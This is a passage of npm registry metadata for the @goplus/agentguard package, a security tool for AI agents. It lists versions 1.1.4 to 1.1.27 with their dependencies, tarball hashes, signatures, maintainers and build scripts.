registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.3_1778581796934_0.029304113687747213","host":"s3://npm-registry-packages-npm-production"}},"1.1.4":{"name":"@goplus/agentguard","version":"1.1.4","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.4","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"861a84232380f80c0fb043a5907db9d6c625768a","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.4.tgz","fileCount":290,"integrity":"sha512-29aSeNVhti04KiqYlojyarCvoX1y0rmveUSPda5roD8ixG8UvilWM8O/QsB/cllZ81jUu0dmnG+yi9L1yVyorQ==","signatures":[{"sig":"MEUCIFZtSN2vl45CDKR2pcRXyM6e3Tr9YuXTcmLkxv5CdhJCAiEAr0A9bsIs+hbRuFUn3mnH2RQjFZYqo6MYqYev7Y7QvD8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":978554},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"4e358fbb44db24d10ccffd68aeb5f3f2a184b1c9","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.4_1778726534431_0.503608661110569","host":"s3://npm-registry-packages-npm-production"}},"1.1.5":{"name":"@goplus/agentguard","version":"1.1.5","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.5","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"183fdfecd3bc43ca9e55c6000e89ea31c3ce27c6","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.5.tgz","fileCount":305,"integrity":"sha512-h83amnunfAsow/IubPFqzABF73VvKyY/0B6xLyZ7fqSf7tUzfQQvUbRFfEWSonxEIHLQG3fwIYmodOPxSAzL/Q==","signatures":[{"sig":"MEUCICUgVE7R/jTgYHsl0sV8ZbkFvD/gpFzVKIlnvfuCOSfxAiEA0RSzF1bE6j9ALeAwR9VdgwfxZw2aYV3qVXCrxyGspbg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1089902},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"547c68d28bf4839592933394af370ed53687bdae","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.5_1779073630713_0.008216284203879098","host":"s3://npm-registry-packages-npm-production"}},"1.1.7":{"name":"@goplus/agentguard","version":"1.1.7","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.7","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"1acddae5e3dca3ffd6efd115fd84f5c6645c4861","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.7.tgz","fileCount":315,"integrity":"sha512-6URtwn9v0O99YU9bgUou0TC7CZ1Wh4iFMVzkTt4z2BWTq9IT0MKbtkz85qESXIT1vozr2iyey9+GZ+4jBylB2g==","signatures":[{"sig":"MEUCIQCG68Cy1+R1TPO1viBtj0evvMVI1jXmqhUQnSmrg2oPRQIgSLSd/mbYxToEaqefuHeXs/eT/17LAW5u1KRjCl4iLYo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1113930},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"9967755695e714678b9bb411d70eda45fe52a623","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.7_1779104997574_0.6065495007941819","host":"s3://npm-registry-packages-npm-production"}},"1.1.8":{"name":"@goplus/agentguard","version":"1.1.8","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.8","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"1afbe456ebb0cf1ed8cebf928d0e40d988cf6c31","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.8.tgz","fileCount":315,"integrity":"sha512-BQoiypIFOO/MZtt2OmqnCudDre8WrV60c0AqY16Wt4sIqEQ2n6bto4t9IQfhkPimnEu+a6MNw2wcRwoUC+U9tg==","signatures":[{"sig":"MEQCIBX0X8UzajchfPH7KS4yD4lLv123/ImTc14Atth7QoeSAiBO/owrtGw0rohdATvRkbIGIU0UbJ7bQF/jMVaKQh7jhg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1141354},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"6954bd378c51abd5e3ca31d0b72a4808b3809614","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.8_1779191023605_0.7630654966554875","host":"s3://npm-registry-packages-npm-production"}},"1.1.9":{"name":"@goplus/agentguard","version":"1.1.9","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.9","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"cfdb0cab47f83b26cd68d52a42253850b550df9f","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.9.tgz","fileCount":327,"integrity":"sha512-dSlKV42Oe85A4IpTIPfwZglqzi3xppuYxiSqFoB8nmYyO8bRZvcLyiVozUUopnpnpw7cJ43Grf8bnbyyCLBJxA==","signatures":[{"sig":"MEQCID6LM/Cn9UkRes+1euXjARZ2YqAYrWjtSfIaKPJz0WuyAiBS91AsFsrO9GzkpojfHTJdD/nTuY8Fe1t1CFJyZL9lOQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1224425},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"2b1cbdd416dbd0c5f7c2b0c76c7d488b659cd490","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.9_1779273460006_0.3610264164118908","host":"s3://npm-registry-packages-npm-production"}},"1.1.10":{"name":"@goplus/agentguard","version":"1.1.10","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.10","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"1cdf8c8fd1d20554eb9bae2161fdbf0b8d9bcfbc","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.10.tgz","fileCount":335,"integrity":"sha512-m5CqsgQQXdd9XkLwjfZCaXow5UB32QsVZ9LVz50A1z//LVeHDq+rGICwCbcTJ/xLt2wkZDs0cO31r45e2X9jew==","signatures":[{"sig":"MEUCIQCcT+faBP/wRB3eUPLMbWgbfNtBzEB4WRH+h637H1jwCAIgHjtC5XX3WZmkqfIMQUGJxTwIv4nEz13Yz7yGTKPiqrA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1301167},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"0f7a630d1b86a9bfe39bacae7fff6f70853b12bc","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.10_1779346632049_0.6892987152081309","host":"s3://npm-registry-packages-npm-production"}},"1.1.13":{"name":"@goplus/agentguard","version":"1.1.13","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.13","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"a40e67efc7e6e041ff5b8ade638e0b3bba13c0e1","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.13.tgz","fileCount":342,"integrity":"sha512-Ln0RA+2mmAtRXiA4DIJw1QmDQbzWxjBW8DorLN/2hqheCnttx897Pqd10gtRpOgdkiw/tPWfd6OMs5V7WZqSag==","signatures":[{"sig":"MEUCIQCUzQXHJqd599oCf6+YHO/HVkq40RRCtRtnPOLn7m6yQQIgJqbnoWoNIO5/yyl3joZJifYIbKodqv9oyjTPoUbADyY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1436539},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"72423d2ccfad42b090d3f9486f3fc71efbf391a8","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.13_1779369979911_0.27943316900606563","host":"s3://npm-registry-packages-npm-production"}},"1.1.14":{"name":"@goplus/agentguard","version":"1.1.14","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.14","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"cbaa6589e9cfeae53661c5d44bae7d3f6724fe5c","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.14.tgz","fileCount":342,"integrity":"sha512-mSzqupBw15qXMj5Uz4C1ax3hJoXGLaKtMFQOOjma9Az4dN0oCihrNfDtAzWB0IrUpKHMQTJmKcTjdVhcgiM4BQ==","signatures":[{"sig":"MEYCIQC3tQs+hc0zsivpbHFHW/xppMUIoTkb49qeS0nyBN3lmwIhALpTqm7QoCRgdkTa5oiFJa7rOxyPekgcE8rdpCl2lQbn","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1453697},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"0645383241a4947f6d06af014baba3d0705e9b83","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.14_1779435790805_0.6513176834055827","host":"s3://npm-registry-packages-npm-production"}},"1.1.18":{"name":"@goplus/agentguard","version":"1.1.18","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.18","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"f2963085f3bff067eff818f0ecb379a1264422fc","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.18.tgz","fileCount":350,"integrity":"sha512-MsvDp/md4Wir/Vcsk76wZ0giRGAF3hmbGKAj2HBhXxyiPa0nBu1o8OQO+csuFPV+f26dsUIXWEjs0Ms/F8KkDQ==","signatures":[{"sig":"MEQCIHmGSMymCh11SqeLQDb0BQRhuNri6+DbQZ5lsFJWcDSLAiBW6zXle87FjOyCVWYO7vhEebhyq7EMbzaWCV8y71rWLw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1649838},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"9d736c93f9783aa9838873a5348a4f39588ac152","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.18_1779802555242_0.7442692970855995","host":"s3://npm-registry-packages-npm-production"}},"1.1.20":{"name":"@goplus/agentguard","version":"1.1.20","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.20","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"7e69edbd4762055800afeed99abf012ac7833551","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.20.tgz","fileCount":354,"integrity":"sha512-4TDKWBof8qWYpU0pvxyEpQ88OWKh/pLiI9aUMaKhAeu4fzQWqGovuWADdSk5ksBnItapwm6Mgy5mHUNvPJWFzg==","signatures":[{"sig":"MEYCIQCPfRYM/+SNAlJazPgyOwTx/lV8NYkXwgPsFUWGk9FXewIhAJR2MeK7fXPMYw8odxHdwuX4rOUe74GsFxmrz++550E8","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1760201},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"aa062959756d83d1e93399dc9d0e7d6fd95ea368","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.20_1779880577442_0.7505682777546525","host":"s3://npm-registry-packages-npm-production"}},"1.1.26":{"name":"@goplus/agentguard","version":"1.1.26","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.26","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"86faf4a4c012805776217d8bd7e65c68d546028f","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.26.tgz","fileCount":358,"integrity":"sha512-Cahv0q6H1Sw7OEugVf0QvKJZEKeMSvrudg6txR5JphIogGowBD7ohK8l5PoENENPMcVmodFP3RWJiBx65TDqDw==","signatures":[{"sig":"MEQCIAfHk5KqWun8yKjVCWmH7oIJC9k5+AnBwegzzWUTzh6tAiAIuP0vZnnFtqb4vE8F7SbGL5fvKbxMiTImMvba/hYjzQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1873713},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"dcc04377073e7035866425e148ae05daf4a187b2","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.26_1779976871415_0.6078769691079118","host":"s3://npm-registry-packages-npm-production"}},"1.1.27":{"name":"@goplus/agentguard","version":"1.1.27","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.27","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"86f3a94f2731a85b4d020f189e338253201f8dc5","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.27.tgz","fileCount":358,"integrity":"sha512-30gLQ04tQAtPjI2WMP4N+VkiqEgNkdnT38jyxZcWHJMtk0Tib12Il2sz65VHb0b7qyrPP4HwJusABEO6uVxUBw==","signatures":[{"sig":"MEYCIQCTNnkWq+TNWj6gI6JdyXJ+oBGqN3pBB+4Oh6+pztP6RQIhANHkOXLnFCjesRgHeN6EP2Snzuh1pxFHA9ibG3rb3Ba1","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1894846},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"0dfdd1fe11b4cdf6bb8b349dda28687dc470430e","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust 